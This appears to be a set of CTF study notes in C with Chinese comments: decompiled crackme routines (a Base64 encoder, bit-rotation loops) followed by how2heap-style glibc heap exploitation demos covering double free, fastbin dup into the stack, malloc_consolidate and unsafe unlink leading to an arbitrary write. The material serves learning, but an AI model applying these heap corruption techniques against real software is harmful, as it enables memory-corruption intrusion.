while (flag_len = strlen(ipt), i < flag_len) {
    if ((i & 1) == 0) {
        ipt[i] = ((int)ipt[i] << 0x1a) >> 0x18) | ipt[i] >> 6;
    }
    else {
        ipt[i] = ipt[i] >> 2 | ((int)ipt[i] << 0x1e) >> 0x18);
    }
    i = i + 1;
}

//arr.c
#include<stdio.h>
int
main ()
{
  int minus_one = -1;
  char arr[8] = "testAr";
  int i;
  unsigned int uint; //数组下标就是无符号的
  while (1)
    {
      scanf ("%d", &i);
      printf("var i : %d\n",i);
      uint = i;
      printf("index array : %u\n",uint);
      printf ("%c\n", arr[i]);
    }
  return 0;
}

v8 = j_strlen(Dest);
for ( j = 0; j < v8; ++j )
    Dest[j] += j;

void *__cdecl sub_411AB0(char *ipt_str, unsigned int len, int *out_str)
{
  int v4; // STE0_4
  int v5; // STE0_4
  int v6; // STE0_4
  int v7; // [esp+D4h] [ebp-38h]
  signed int i; // [esp+E0h] [ebp-2Ch]
  unsigned int v9; // [esp+ECh] [ebp-20h]
  int v10; // [esp+ECh] [ebp-20h]
  signed int v11; // [esp+ECh] [ebp-20h]
  void *Dst; // [esp+F8h] [ebp-14h]
  char *v13; // [esp+104h] [ebp-8h]

  //检查我们的输入是不是为空
  if ( !ipt_str || !len )
    return 0;
  v9 = len / 3;
  //如果字符长度不能被 3 整除
  if ( (signed int)(len / 3) % 3 )
    ++v9;
  v10 = 4 * v9;
  *out_str = v10;
  Dst = malloc(v10 + 1);
  if ( !Dst )
    return 0;
  //把 v10 全部置零
  j_memset(Dst, 0, v10 + 1);
  v13 = ipt_str;
  v11 = len;
  v7 = 0;
  while ( v11 > 0 )
  {
    treeCharBuf[2] = 0;
    treeCharBuf[1] = 0;
    treeCharBuf[0] = 0;
    //每次取 v13 三个字符 也就是我们的输入（ipt_str） 赋给 treeCharBuf
    for ( i = 0; i < 3 && v11 >= 1; ++i )
    {
      treeCharBuf[i] = *v13;
      --v11;
      ++v13;
    }
    if ( !i )
      break;
    //这里我们就看 case 3 就行 
    //因为我们刚刚解出的字符串长度为 16 正好能被 3 整除
    //所以每次 i 都会是 3
    switch ( i )
    {
      case 1:
        *((_BYTE *)Dst + v7) = aAbcdefghijklmn[(signed int)(unsigned __int8)treeCharBuf[0] >> 2];
        v4 = v7 + 1;
        *((_BYTE *)Dst + v4++) = aAbcdefghijklmn[((treeCharBuf[1] & 0xF0) >> 4) | 16 * (treeCharBuf[0] & 3)];
        *((_BYTE *)Dst + v4++) = aAbcdefghijklmn[64];
        *((_BYTE *)Dst + v4) = aAbcdefghijklmn[64];
        v7 = v4 + 1;
        break;
      case 2:
        *((_BYTE *)Dst + v7) = aAbcdefghijklmn[(signed int)(unsigned __int8)treeCharBuf[0] >> 2];
        v5 = v7 + 1;
        *((_BYTE *)Dst + v5++) = aAbcdefghijklmn[((treeCharBuf[1] & 0xF0) >> 4) | 16 * (treeCharBuf[0] & 3)];
        *((_BYTE *)Dst + v5++) = aAbcdefghijklmn[((treeCharBuf[2] & 0xC0) >> 6) | 4 * (treeCharBuf[1] & 0xF)];
        *((_BYTE *)Dst + v5) = aAbcdefghijklmn[64];
        v7 = v5 + 1;
        break;
      case 3:
         //把 treeCharBuf[0] 的进行 右位移(2) 位运算 
         //取高 6 位来索引 aAbcdefghijklmn 数组中的字符
        *((_BYTE *)Dst + v7) = aAbcdefghijklmn[(signed int)(unsigned __int8)treeCharBuf[0] >> 2];
        v6 = v7 + 1;
         
        //把 treeCharBuf[1] 和 0xF0（二进制：11110000）进行 & 运算 再位移 4 获得高 4bit
        //拼接 treeCharBuf[0] 的低 2 位来索引 aAbcdefghijklmn 数组中的字符
        *((_BYTE *)Dst + v6++) = aAbcdefghijklmn[((treeCharBuf[1] & 0xF0) >> 4) | 16 * (treeCharBuf[0] & 3)];
            
        //把 treeCharBuf[2] 和 0xC0（二进制：11000000）进行 & 运算 再位移 6 获得高 2bit
        //拼接 treeCharBuf[1] 的低 4 位来索引 aAbcdefghijklmn 数组中的字符
        *((_BYTE *)Dst + v6++) = aAbcdefghijklmn[((treeCharBuf[2] & 0xC0) >> 6) | 4 * (treeCharBuf[1] & 0xF)];
         
        //把 treeCharBuf[2] 和 0x3F（二进制：00111111）进行 & 运算
        //取得 treeCharBuf[2] 低 6bit 索引 aAbcdefghijklmn 数组中的字符
        *((_BYTE *)Dst + v6) = aAbcdefghijklmn[treeCharBuf[2] & 0x3F];
        v7 = v6 + 1;
        break;
    }
  }
  *((_BYTE *)Dst + v7) = 0;
  return Dst;
}

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
	fprintf(stderr, "这个源文件不演示攻击，只是演示正常的glibc's allocator.\n");
	fprintf(stderr, "glibc使用first-fit算法来选择一个空闲块(free chunk)。\n");
	fprintf(stderr, "如果一个空闲块(free chunk)且足够大，malloc将选择这个块。\n");
	fprintf(stderr, "This can be exploited in a use-after-free situation.\n");

	fprintf(stderr, "分配2个buffers.它们可以很大，不必是fastbin。\n");
	char* a = malloc(512);
	char* b = malloc(256);
	char* c;

	fprintf(stderr, "1st malloc(512): %p\n", a);
	fprintf(stderr, "2nd malloc(256): %p\n", b);
	fprintf(stderr, "我们可以在这里继续mallocing ...\n");
	fprintf(stderr, "现在让我们把一个字符串放在我们稍后可读的buffer上\"this is A!\"\n");
	strcpy(a, "this is A!");
	fprintf(stderr, "第一次分配的 %p 指向 %s\n", a, a);

	fprintf(stderr, "free掉 a buffer...\n");
	free(a);

	fprintf(stderr, "我们不需要再free任何东西。现在只要我们malloc少于512，最终将会指向 %p\n", a);

	fprintf(stderr, "现在让我们分配 500 bytes\n");
	c = malloc(500);
	fprintf(stderr, "3rd malloc(500): %p\n", c);
	fprintf(stderr, "并在这里放一个不同的字符串, \"this is C!\"\n");
	strcpy(c, "this is C!");
	fprintf(stderr, "第三次分配的 %p 指向 %s\n", c, c);
	fprintf(stderr, "第一次分配的 %p 指向 %s\n", a, a);
	fprintf(stderr, "如果我们重用第一个分配，那么它现在保存来自第三个分配的数据。\n");
}

#include <stdio.h>
#include <stdlib.h>

int main()
{
	fprintf(stderr, "此文件演示使用fastbins的简单 double-free 攻击\n");

	fprintf(stderr, "分配3个buffers.\n");
	int *a = malloc(8);
	int *b = malloc(8);
	int *c = malloc(8);

	fprintf(stderr, "1st malloc(8): %p\n", a);
	fprintf(stderr, "2nd malloc(8): %p\n", b);
	fprintf(stderr, "3rd malloc(8): %p\n", c);

	fprintf(stderr, "free掉第一个buffer--(a)\n");
	free(a);

	fprintf(stderr, "如果我们现在再次free %p,程序就会崩溃因为 %p 在free list的顶部\n", a, a);
	// free(a);

	fprintf(stderr, "所以我们free掉 %p\n", b);
	free(b);

	fprintf(stderr, "现在我们可以再次free %p, 因为它不是free list的头\n", a);
	free(a);

	fprintf(stderr, "现在我们得到的free list是 [ %p, %p, %p ]. 如果我们现在malloc三次,我们能malloc到 %p 两次!\n", a, b, a, a);
	fprintf(stderr, "1st malloc(8): %p\n", malloc(8));
	fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
	fprintf(stderr, "3rd malloc(8): %p\n", malloc(8));
}

#include <stdio.h>
#include <stdlib.h>

int main()
{
	fprintf(stderr, "这个文件是fastbin_dup.c的扩展，通过欺骗malloc\n"
	       "返回一个指向受控位置的指针（在本例中为堆栈）。\n");

	unsigned long long stack_var;

	fprintf(stderr, "我们让malloc()返回 %p.\n", 8+(char *)&stack_var);

	fprintf(stderr, "分配3个buffer\n");
	int *a = malloc(8);
	int *b = malloc(8);
	int *c = malloc(8);

	fprintf(stderr, "1st malloc(8): %p\n", a);
	fprintf(stderr, "2nd malloc(8): %p\n", b);
	fprintf(stderr, "3rd malloc(8): %p\n", c);

	fprintf(stderr, "free掉第一个buffer--(a)\n");
	free(a);

	fprintf(stderr, "如果我们现在再次free %p,程序就会崩溃因为 %p 在free list的顶部\n", a, a);
	// free(a);

	fprintf(stderr, "所以我们free掉 %p\n", b);
	free(b);

	fprintf(stderr, "现在我们可以再次free %p, 因为它不是free list的头\n", a);
	free(a);

	fprintf(stderr, "现在我们得到free list [ %p, %p, %p ] "
		"我们现在通过修改 %p 的数据来执行攻击\n", a, b, a, a);
	unsigned long long *d = malloc(8);

	fprintf(stderr, "1st malloc(8): %p\n", d);
	fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
	fprintf(stderr, "现在得free list [ %p ].\n", a);
	fprintf(stderr, "现在，我们可以访问 %p，同时它仍然是free list的头部。\n"
		"所以现在我们正在写入一个假的free size (在这里是 0x20) 到栈上\n"
		"所以malloc会认为那里有一个free chunk\n"
		"并return一个指向 %p 的指针\n", a, 8+(char *)&stack_var);
	stack_var = 0x20;

	fprintf(stderr, "现在，我们将 %p 处的数据的前8个字节覆盖在0x20之前\n", a);
	*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

	fprintf(stderr, "3rd malloc(8): %p, 将栈地址放到free list中\n", malloc(8));
	fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>

int main() {
  void* p1 = malloc(0x40);
  void* p2 = malloc(0x40);
  fprintf(stderr, "分配两个fastbins: p1=%p p2=%p\n", p1, p2);
  fprintf(stderr, "free掉 p1!\n");
  free(p1);

  void* p3 = malloc(0x400);
  fprintf(stderr, "分配large bin来触发malloc_consolidate(): p3=%p\n", p3);
  fprintf(stderr, "在 malloc_consolidate() 中, p1 被放到 unsorted bin.\n");
  free(p1);
  fprintf(stderr, "触发double free漏洞\n");
  fprintf(stderr, "我们能pass malloc()的检查，因为p1不是fast top\n");
  fprintf(stderr, "现在 p1 在 unsorted bin 和 fast bin中. 所以我们能分配到 p1 两次: %p %p\n", malloc(0x40), malloc(0x40));
}

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>


uint64_t *chunk0_ptr;

int main()
{
	fprintf(stderr, "欢迎来到 unsafe unlink 2.0!\n");
	fprintf(stderr, "实验进行的环境：Ubuntu 14.04/16.04 64bit.\n");
	fprintf(stderr, "此技术仅适用于glibc的禁用tcache-option的情况, 请参阅build_glibc.sh以获取构建说明。\n");
	fprintf(stderr, "该技术用于当你拥有一个已知位置的指针指向一个可以调用 unlink 的区域时\n");
	fprintf(stderr, "最常见的情况是易受攻击的缓冲区，可以溢出并控制全局指针。\n");

	int malloc_size = 0x80; //足够大，不使用fastbins
	int header_size = 2;

	fprintf(stderr, "这个练习是使用free来破坏全局指针chunk0_ptr来实现任意内存写入。\n\n");

	chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
	uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
	fprintf(stderr, "chunk0_ptr 位于 %p, 指向 %p\n", &chunk0_ptr, chunk0_ptr);
	fprintf(stderr, "我们要破坏的chunk是 %p\n\n", chunk1_ptr);

	fprintf(stderr, "我现在创建一个假chuck在chunk0里.\n");
	fprintf(stderr, "我们设置假chuck的'next_free_chunk' (fd) 指向 &chunk0_ptr 附近 以便满足 P->fd->bk = P.\n");
	chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
	fprintf(stderr, "我们设置假chuck的 'previous_free_chunk' (bk) 指向 &chunk0_ptr  附近 以便满足 P->bk->fd = P.\n");
	fprintf(stderr, "这样设置，我们就可以绕过这个检查：(P->fd->bk != P || P->bk->fd != P) == False\n");
	chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
	fprintf(stderr, "Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
	fprintf(stderr, "Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);

	//fprintf(stderr, "我们需要确保假 chunk 的 'size' 与下一块的 'previous_size' (chunk+size)匹配\n");
	//fprintf(stderr, "通过此设置，我们可以通过此检查： (chunksize(P) != prev_size (next_chunk(P)) == False\n");
	//fprintf(stderr, "P = chunk0_ptr, next_chunk(P) == (mchunkptr) (((char *) (p)) + chunksize (p)) == chunk0_ptr + (chunk0_ptr[1]&(~ 0x7))\n");
	//fprintf(stderr, "If x = chunk0_ptr[1] & (~ 0x7), that is x = *(chunk0_ptr + x).\n");
	//fprintf(stderr, "We just need to set the *(chunk0_ptr + x) = x, so we can pass the check\n");
	//fprintf(stderr, "1.Now the x = chunk0_ptr[1]&(~0x7) = 0, we should set the *(chunk0_ptr + 0) = 0, in other words we should do nothing\n");
	//fprintf(stderr, "2.Further more we set chunk0_ptr = 0x8 in 64-bits environment, then *(chunk0_ptr + 0x8) == chunk0_ptr[1], it's fine to pass\n");
	//fprintf(stderr, "3.Finally we can also set chunk0_ptr[1] = x in 64-bits env, and set *(chunk0_ptr+x)=x,for example chunk_ptr0[1] = 0x20, chunk_ptr0[4] = 0x20\n");
	//chunk0_ptr[1] = sizeof(size_t);
	//fprintf(stderr, "In this case we set the 'size' of our fake chunk so that chunk0_ptr + size (%p) == chunk0_ptr->size (%p)\n", ((char *)chunk0_ptr + chunk0_ptr[1]), &chunk0_ptr[1]);
	//fprintf(stderr, "You can find the commitdiff of this check at https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30\n\n");

	fprintf(stderr, "我们假设 chunk0 中有溢出，以便我们可以自由地更改 chunk1 的元数据。\n");
	uint64_t *chunk1_hdr = chunk1_ptr - header_size;
	fprintf(stderr, "我们缩小了 chunk0 的大小 (在 chunk1 中保存为 'previous_size') 这样 free 就会认为 chunk0 从我们放置假 chunk 的地方开始。\n");
	fprintf(stderr, "重要的是，我们的假 chunk 正好从已知指针指向的地方开始，并且我们相应地收缩 chunk 。\n");
	chunk1_hdr[0] = malloc_size;
	fprintf(stderr, "如果我们正常释放 chunk0，chunk1.previous_size 将为0x90，但它现在为： %p\n",(void*)chunk1_hdr[0]);
	fprintf(stderr, "我们将 chunk1 的 'previous_in_use' 设置为 False，将我们的假 chunk 标记为free。\n\n");
	chunk1_hdr[1] &= ~1;

	fprintf(stderr, "现在我们 free 掉 chunk1 以便向后整合 unlink 我们的假 chunk，覆盖chunk0_ptr。\n");
	fprintf(stderr, "您可以在 https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344 中找到 unlink 宏的来源\n\n");
	free(chunk1_ptr);

	fprintf(stderr, "此时，我们可以使用 chunk0_ptr 覆盖自身，以指向任意位置。\n");
	char victim_string[8];
	strcpy(victim_string,"Hello!~");
	chunk0_ptr[3] = (uint64_t) victim_string;

	fprintf(stderr, "chunk0_ptr 现在指向我们想要的位置，我们用它来覆盖我们的字符串。\n");
	fprintf(stderr, "原本的值为： %s\n",victim_string);
	chunk0_ptr[0] = 0x4141414142424242LL;
	fprintf(stderr, "被修改后： %s\n",victim_string);
}